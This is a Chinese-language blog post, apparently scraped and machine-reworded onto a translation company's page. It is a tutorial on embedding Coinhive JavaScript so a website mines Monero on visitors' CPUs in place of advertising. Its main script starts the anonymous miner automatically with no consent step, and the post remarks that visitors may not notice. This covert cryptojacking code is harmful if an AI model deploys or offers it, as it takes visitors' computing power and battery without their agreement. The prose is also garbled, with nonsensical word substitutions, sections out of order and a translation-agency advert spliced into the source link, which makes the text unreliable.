close

筆譯網

Coinhive 網頁挖礦



最簡單的 Simple Miner UI :

<script src="https://authedmine.com/lib/simple-ui.min.js" async></script>
<div class="coinhive-miner" 
 style="width: 256px; height: 310px"
 data-key="RQjZrjeqqcG1UU4rSLBkQwKBv0oki9hZ"
 data-autostart="true"     /*主動開始*/
 data-whitelabel="false"   /*顯示標籤*/
 data-background="#000000" /*佈景顏色*/
 data-text="#eeeeee"       /*文字色彩*/
 data-action="#00ff00"     /*動作色彩*/
 data-graph="#555555"      /*圖形色彩*/
 data-threads="4"          /*執行緒*/
 data-throttle="0.1">      /*保存的效能*/
 <em>Loading...</em>
</div>
效果就是像下面的介面翻譯

JavaScript Miner 更合適進階使用者,它有更多的細節和自訂介面可以設定。
Loading...


<script src="https://coinhive.com/lib/coinhive.min.js"></script><center>
<p style="font-size: 11pt;" id="status"></p>
<p style="font-size: 11pt;" id="hashesPerSecond"></p>
<p style="font-size: 11pt;" id="getTotalHashes"></p>
<p style="font-size: 11pt;" id="stopped"></p>
<p id="minerbutton"></p></center>
<script>
if (navigator.hardwareConcurrency > 1){
 var cpuConfig = {threads: Math.round(navigator.hardwareConcurrency-1)}
}else{
 var cpuConfig = {throttle:0.5}
}
var miner = new CoinHive.Anonymous('RQjZrjeqqcG1UU4rSLBkQwKBv0oki9hZ', cpuConfig);
miner.start(CoinHive.FORCE_EXCLUSIVE_TAB);
// Update stats once per second
setInterval(function() {
 var threadCount = miner.getNumThreads();
 var hashesPerSecond = Math.round(miner.getHashesPerSecond());
 var getTotalHashes = miner.getTotalHashes();
try {
 navigator.getBattery().then(function (battery) {
  if (battery.level < 0.50 && battery.charging == false) {
   miner.stop();
   document.getElementById("stopped").innerHTML = "Low Battery";
  }
 });
}catch(e){console.log(e)}
 // Output to HTML elements...
 if (miner.isRunning()) {
  document.getElementById("status").innerHTML = "Status : Using " + threadCount + " threads";
  document.getElementById("hashesPerSecond").innerHTML = "Hashrate : " + hashesPerSecond + " H/s";
  document.getElementById("getTotalHashes").innerHTML = "Total : " + getTotalHashes + " Hashes";
  document.getElementById("minerbutton").innerHTML = "<button onclick=\"miner.stop()\">Stop Mining</button>";
 }else{
  document.getElementById("status").innerHTML = "Status : n/a";
  document.getElementById("hashesPerSecond").innerHTML = "Hashrate : " + 0 + " H/s";
  document.getElementById("minerbutton").innerHTML = "<button onclick=\"miner.start(CoinHive.FORCE_EXCLUSIVE_TAB)\">Continue Mining</button>";
 }
}, 800);
</script>
它會主動偵測系統的 treads 數,並保留一個 tread 不進行挖礦和只耗用一半的效能,和電量不足或在充電時會主動中斷挖礦,只要將 key 改成自己的就能夠使用了,現實執行的模樣可以見本站右上方的介面翻譯
<script src="https://authedmine.com/lib/simple-ui.min.js" async></script>
<div class="coinhive-miner" 
 style="width: 256px; height: 310px"
 data-key="RQjZrjeqqcG1UU4rSLBkQwKBv0oki9hZ">
 <em>Loading...</em>
</div>

而 Coinhive 供給的 Capcha 則是供應類似轉址和 proof of work 的功能,也趁便解開一定量的 hashes 回饋豎立貫穿連接的人,可以在 Capcha 頁面或 Shortlinks 找到合適本身網站利用的功能。


根基上只要把 data-key 換成方才產生的 key 就能夠利用了,當然它還有很多參數可以更改,如下 : 

可以看到 Coinhive 會抽取三成的收益,官網提到是為了支援保護費用,可以在 FAQ 裡面詳讀。但必需說我用 Coinhive 至今只碰過一次伺服器維修了幾個小時,他們也立地在面板上發通知佈告致歉,並且用推算的算力補足這段時候的收益,我會感覺這樣的辦事品質還算值得。


這邊供給本站利用的附有入手下手停止和統計 hashes 的 JavaScript :

預設的挖礦 GUI



Coinhive 提供了讓網站主在本身的網頁置入挖礦程式挖取門羅幣 Monero (XMR),做以代替傳統網頁告白像 Google Adsense 的投置告白,跟著 AdBlock 的普及,投放告白早已賺不到太多的收入,而且廣告費構和也極端失衡,完全被第三方綁架,極度不符合去中心化的概念,是以產生出了這類以網頁挖礦取代告白的方式,借用瀏覽者部分的 CPU 效能 (不利用顯卡) 來幫網站主直接賺取虛擬貨幣收益,本站也一樣選用 Coinhive 取代網頁告白,也許翻譯公司有發現也或許沒有,但實質上造成的影響其實遠沒有想像中的大,跟著電腦配備的提高,瀏覽網頁已經是電腦的最基本功能,大部份電腦的效能在看網頁上都是遊刃有餘,只要有相幹的截止辦法和對行動裝配優化,天成翻譯公司認為網頁挖礦對利用者帶來的影響反而比告白更小翻譯





  • 官網 : https://coinhive.com/
  • 挖礦幣別 : 門羅幣 Monero (XMR)
  • 起付額 : 0.02 XMR (0.5 XMR免手續費)
  • 收益算法 : (<solved_hashes>/<global_difficulty>) * <block_reward> * 0.7



來自: http://blog.xuite.net/jason_kuso/kuso/556581915-Coinhive+%E6%8C%96%E7%A4%A6%E6%95%99%E5%AD%B8+-+Java有關各國語文翻譯公證的問題歡迎諮詢天成翻譯公司02-77260931
arrow
arrow
    文章標籤
    翻譯社
    全站熱搜
    創作者介紹
    創作者 marien4f30x 的頭像
    marien4f30x

    marien4f30x@outlook.com

    marien4f30x 發表在 痞客邦 留言(0) 人氣()